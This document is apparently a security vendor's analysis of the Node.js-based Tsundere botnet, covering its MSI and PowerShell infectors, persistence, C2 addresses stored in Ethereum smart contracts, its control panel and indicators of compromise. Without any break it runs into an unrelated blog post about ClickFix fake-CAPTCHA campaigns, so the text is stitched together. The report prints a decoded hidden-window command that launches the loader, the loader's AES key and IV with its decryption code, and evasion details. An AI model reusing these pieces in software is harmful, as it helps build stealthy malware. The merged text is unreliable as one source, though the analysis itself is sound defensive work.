According to the C2 panel, there are two distinct formats for spreading the implant: via an MSI installer and via a PowerShell script. Implants are automatically generated by the C2 panel (as described in the Infrastructure section).
The MSI installer was often disguised as a fake installer for popular games and other software to lure new victims. Notably, at the time of our research, it had a very low detection rate.
The installer contains a list of data and JavaScript files that are updated with each new build, as well as the necessary Node.js executables to run these scripts. The following is a list of files included in the sample:
nodejs/B4jHWzJnlABB2B7 nodejs/UYE20NBBzyFhqAQ.js nodejs/79juqlY2mETeQOc nodejs/thoJahgqObmWWA2 nodejs/node.exe nodejs/npm.cmd nodejs/npx.cmd
The last three files in the list are legitimate Node.js files. They are installed alongside the malicious artifacts in the user’s AppData\Local\nodejs directory.
An examination of the CustomAction table reveals the process by which Windows Installer executes the malware and installs the Tsundere bot:
RunModulesSetup 1058 NodeDir powershell -WindowStyle Hidden -NoLogo -enc JABuAG[...]ACkAOwAiAA==
After Base64 decoding, the command appears as follows:
$nodePath = "$env:LOCALAPPDATA\nodejs\node.exe";
& $nodePath - e "const { spawn } = require('child_process'); spawn(process.env.LOCALAPPDATA + '\\nodejs\\node.exe', ['B4jHWzJnlABB2B7'], { detached: true, stdio: 'ignore', windowsHide: true, cwd: __dirname }).unref();"
This will execute Node.js code that spawns a new Node.js process, which runs the loader JavaScript code (in this case, B4jHWzJnlABB2B7). The resulting child process runs in the background, remaining hidden from the user.
The loader script is responsible for ensuring the correct decryption and execution of the main bot script, which handles npm unpackaging and configuration. Although the loader code, similar to the code for the other JavaScript files, is obfuscated, it can be deobfuscated using open-source tools. Once executed, the loader attempts to locate the unpackaging script and configuration for the Tsundere bot, decrypts them using the AES-256 CBC cryptographic algorithm with a build-specific key and IV, and saves the decrypted files under different filenames.
encScriptPath = 'thoJahgqObmWWA2',
encConfigPath = '79juqlY2mETeQOc',
decScript = 'uB39hFJ6YS8L2Fd',
decConfig = '9s9IxB5AbDj4Pmw',
keyBase64 = '2l+jfiPEJufKA1bmMTesfxcBmQwFmmamIGM0b4YfkPQ=',
ivBase64 = 'NxrqwWI+zQB+XL4+I/042A==',
[...]
const h = path.dirname(encScriptPath),
i = path.join(h, decScript),
j = path.join(h, decConfig)
decryptFile(encScriptPath, i, key, iv)
decryptFile(encConfigPath, j, key, iv)
The configuration file is a JSON that defines a directory and file structure, as well as file contents, which the malware will recreate. The malware author refers to this file as “config”, but its primary purpose is to package and deploy the Node.js package manager (npm) without requiring manual installation or downloading. The unpackaging script is responsible for recreating this structure, including the node_modules directory with all its libraries, which contains packages necessary for the malware to run.
With the environment now set up, the malware proceeds to install three packages to the node_modules directory using npm:
ws: a WebSocket networking libraryethers: a library for communicating with Ethereumpm2: a Node.js process management tool
Loader script installing the necessary toolset for Tsundere persistence and execution
The pm2 package is installed to ensure the Tsundere bot remains active and used to launch the bot. Additionally, pm2 helps achieve persistence on the system by writing to the registry and configuring itself to restart the process upon login.
The PowerShell version of the infector operates in a more compact and simplified manner. Instead of utilizing a configuration file and an unpacker — as done with the MSI installer — it downloads the ZIP file node-v18.17.0-win-x64.zip from the official Node.js website nodejs[.]org and extracts it to the AppData\Local\NodeJS directory, ultimately deploying Node.js on the targeted device. The infector then uses the AES-256-CBC algorithm to decrypt two large hexadecimal-encoded variables, which correspond to the bot script and a persistence script. These decrypted files, along with a package.json file are written to the disk. The package.json file contains information about the malicious Node.js package, as well as the necessary libraries to be installed, including the ws and ethers packages. Finally, the infector runs both scripts, starting with the persistence script that is followed by the bot script.
The PowerShell infector creates a package file with the implant dependencies
Persistence is achieved through the same mechanism observed in the MSI installer: the script creates a value in the HKCU:\Software\Microsoft\Windows\CurrentVersion\Run registry key that points to itself. It then overwrites itself with a new script that is Base64 decoded. This new script is responsible for ensuring the bot is executed on each login by spawning a new instance of the bot.
We will now delve into the Tsundere bot, examining its communication with the command-and-control (C2) server and its primary functionality.
Web3 contracts, also known as smart contracts, are deployed on a blockchain via transactions from a wallet. These contracts can store data in variables, which can be modified by functions defined within the contract. In this case, the Tsundere botnet utilizes the Ethereum blockchain, where a method named setString(string _str) is defined to modify the state variable param1, allowing it to store a string. The string stored in param1 is used by the Tsundere botnet administrators to store new WebSocket C2 servers, which can be rotated at will and are immutable once written to the Ethereum blockchain.
The Tsundere botnet relies on two constant points of reference on the Ethereum blockchain:
0x73625B6cdFECC81A4899D221C732E1f73e504a320xa1b40044EBc2794f207D45143Bd82a1B86156c6bIn order to change the C2 server, the Tsundere botnet makes a transaction to update the state variable with a new address. Below is a transaction made on August 19, 2025, with a value of 0 ETH, which updates the address.
Smart contract containing the Tsundere botnet WebSocket C2
The state variable has a fixed length of 32 bytes, and a string of 24 bytes (see item [2] in the previous image) is stored within it. When this string is converted from hexadecimal to ASCII, it reveals the new WebSocket C2 server address: ws[:]//185.28.119[.]179:1234.
To obtain the C2 address, the bot contacts various public endpoints that provide remote procedure call (RPC) APIs, allowing them to interact with Ethereum blockchain nodes. At the start of the script, the bot calls a function named fetchAndUpdateIP, which iterates through a list of RPC providers. For each provider, it checks the transactions associated with the contract address and wallet owner, and then retrieves the string from the state variable containing the WebSocket address, as previously observed.
Malware code for retrieval of C2 from the smart contract
The Tsundere bot verifies that the C2 address starts with either ws:// or wss:// to ensure it is a valid WebSocket URL, and then sets the obtained string as the server URL. But before using this new URL, the bot first checks the system locale by retrieving the culture name of the machine to avoid infecting systems in the CIS region. If the system is not in the CIS region, the bot establishes a connection to the server via a WebSocket, setting up the necessary handlers for receiving, sending, and managing connection states, such as errors and closed sockets.
Bot handlers for communication
The communication flow between the client (Tsundere bot) and the server (WebSocket C2) is as follows:
Tsundere communication process with the C2 via WebSockets
The connections are not authenticated through any additional means, making it possible for a fake client to establish a connection.
As previously mentioned, the client sends an encrypted ping message to the C2 server every minute, which returns a pong message. This ping-pong exchange serves as a mechanism for the C2 panel to maintain a list of currently active bots.
The Tsundere bot is designed to allow the C2 server to send dynamic JavaScript code. When the C2 server sends a message with ID=1 to the bot, the message is evaluated as a new function and then executed. The result of this operation is sent back to the server via a custom function named serverSend, which is responsible for transmitting the result as a JSON object, encrypted for secure communication.
Tsundere bot evaluation code once functions are received from the C2
The ability to evaluate code makes the Tsundere bot relatively simple, but it also provides flexibility and dynamism, allowing the botnet administrators to adapt it to a wide range of actions.
However, during our observation period, we did not receive any commands or functions from the C2 server, possibly because the newly connected bot needed to be requested by other threat actors through the botnet panel before it could be utilized.
The Tsundere bot utilizes WebSocket as its primary protocol for establishing connections with the C2 server. As mentioned earlier, at the time of writing, the malware was communicating with the WebSocket server located at 185.28.119[.]179, and our tests indicated that it was responding positively to bot connections.
The following table lists the IP addresses and ports extracted from the provided list of URLs:
| IP | Port | First seen (contract update) | ASN |
| 185.28.119[.]179 | 1234 | 2025-08-19 | AS62005 |
| 196.251.72[.]192 | 1234 | 2025-08-03 | AS401120 |
| 103.246.145[.]201 | 1234 | 2025-07-14 | AS211381 |
| 193.24.123[.]68 | 3011 | 2025-06-21 | AS200593 |
| 62.60.226[.]179 | 3001 | 2025-05-04 | AS214351 |
No business is complete without a marketplace, and similarly, no botnet is complete without a control panel. The Tsundere botnet has both a marketplace and a control panel, which are integrated into the same frontend.
Tsundere botnet panel login
The notable aspect of Tsundere’s control panel, dubbed “Tsundere Netto” (version 2.4.4), is that it has an open registration system. Any user who accesses the login form can register and gain access to the panel, which features various tabs:
Tsundere botnet control panel, building system and market
Each build generates a unique build ID, which is embedded in the implant and sent to the C2 server upon infection. This build ID can be linked to the user who created it. According to our research and analysis of other URLs found in the wild, builds are created through the panel and can be downloaded via the URL:
hxxps://idk.1f2e[REDACTED]07a4[.]net/api/builds/{BUILD-ID}.msi.At the time of writing this, the panel typically has between 90 and 115 bots connected to the C2 server at any given time.
Based on the text found in the implants, we can conclude with high confidence that the threat actor behind the Tsundere botnet is likely Russian-speaking. The use of the Russian language in the implants is consistent with previous attacks attributed to the same threat actor.
Russian being used throughout the code
Furthermore, our analysis suggests a connection between the Tsundere botnet and the 123 Stealer, a C++-based stealer available on the shadow market for $120 per month. This connection is based on the fact that both panels share the same server. Notably, the main domain serves as the frontend for the 123 Stealer panel, while the subdomain “idk.” is used for the Tsundere botnet panel.
123 Stealer C2 panel sharing Tsundere’s infrastructure and showcasing its author
By examining the available evidence, we can link both threats to a Russian-speaking threat actor known as “koneko”. Koneko was previously active on a dark web forum, where they promoted the 123 Stealer, as well as other malware, including a backdoor. Although our analysis of the backdoor revealed that it was not directly related to Tsundere, it shared similarities with the Tsundere botnet in that it was written in Node.js and used PowerShell or MSI as infectors. Before the dark web forum was seized and shut down, koneko’s profile featured the title “node malware senior”, further suggesting their expertise in Node.js-based malware.
The Tsundere botnet represents a renewed effort by a presumably identified threat actor to revamp their toolset. The Node.js-based bot is an evolution of an attack discovered in October of last year, and it now features a new strategy and even a new business model. Infections can occur through MSI and PowerShell files, which provides flexibility in terms of disguising installers, using phishing as a point of entry, or integrating with other attack mechanisms, making it an even more formidable threat.
Additionally, the botnet leverages a technique that is gaining popularity: utilizing web3 contracts, also known as “smart contracts”, to host command-and-control (C2) addresses, which enhances the resilience of the botnet infrastructure. The botnet’s possible author, koneko, is also involved in peddling other threats, such as the 123 Stealer, which suggests that the threat is likely to escalate rather than diminish in the coming months. As a result, it is essential to closely monitor this threat and be vigilant for related threats that may emerge in the near future.
More IoCs related to this threat are available to customers of the Kaspersky Intelligence Reporting Service. Contact: intelreports@kaspersky.com.
File hashes
235A93C7A4B79135E4D3C220F9313421
760B026EDFE2546798CDC136D0A33834
7E70530BE2BFFCFADEC74DE6DC282357
5CC5381A1B4AC275D221ECC57B85F7C3
AD885646DAEE05159902F32499713008
A7ED440BB7114FAD21ABFA2D4E3790A0
7CF2FD60B6368FBAC5517787AB798EA2
E64527A9FF2CAF0C2D90E2238262B59A
31231FD3F3A88A27B37EC9A23E92EBBC
FFBDE4340FC156089F968A3BD5AA7A57
E7AF0705BA1EE2B6FBF5E619C3B2747E
BFD7642671A5788722D74D62D8647DF9
8D504BA5A434F392CC05EBE0ED42B586
87CE512032A5D1422399566ECE5E24CF
B06845C9586DCC27EDBE387EAAE8853F
DB06453806DACAFDC7135F3B0DEA4A8F
File paths
%APPDATA%\Local\NodeJS
Domains and IPs
ws://185.28.119[.]179:1234
ws://196.251.72[.]192:1234
ws://103.246.145[.]201:1234
ws://193.24.123[.]68:3011
ws://62.60.226[.]179:3001
Cryptocurrency wallets
Note: These are wallets that have changed the C2 address in the smart contract since it was created.
0x73625B6cdFECC81A4899D221C732E1f73e504a32
0x10ca9bE67D03917e9938a7c28601663B191E4413
0xEc99D2C797Db6E0eBD664128EfED9265fBE54579
0xf11Cb0578EA61e2EDB8a4a12c02E3eF26E80fc36
0xdb8e8B0ef3ea1105A6D84b27Fc0bAA9845C66FD7
0x10ca9bE67D03917e9938a7c28601663B191E4413
0x52221c293a21D8CA7AFD01Ac6bFAC7175D590A84
0x46b0f9bA6F1fb89eb80347c92c9e91BDF1b9E8CC
Early on in 2025, I described how criminals used fake CAPTCHA sites and a clipboard hijacker to provide instructions for website visitors that would effectively infect their own machines with an information stealer known as the Lumma Stealer.
ClickFix is the name researchers have since given to this type of campaign—one that uses the clipboard and fake CAPTCHA sites to trick users into running malicious commands themselves.
Later, we found that the cybercriminals behind it seemed to be running some A/B tests to figure out which infection method worked best: ClickFix, or the more traditional file download that disguises malware as a useful application.
The criminals probably decided to go with ClickFix, because they soon came up with a campaign that targeted Mac users to spread the infamous Atomic Stealer.
Now, as reported by researchers from Push Security, the attackers behind ClickFix have tried to make the campaign more “user-friendly.” The latest fake CAPTCHA pages include embedded video tutorials showing exactly how to run the malicious code.
The site automatically detects the visitor’s operating system and provides matching instructions, copying the right code for that OS straight to the clipboard—making typos less likely and infection more certain.
A countdown timer adds urgency, pressuring users to complete the “challenge” within a minute. When people rush instead of thinking things through, social engineering wins.
Unsurprisingly, most of these pages spread through SEO-poisoned Google search results, although they also circulate via email, social media, and in-app ads too.
With ClickFix running rampant—and it doesn’t look like it’s going away anytime soon—it’s important to be aware, careful, and protected.
Pro tip: Did you know that the free Malwarebytes Browser Guard extension warns you when a website tries to copy something to your clipboard?
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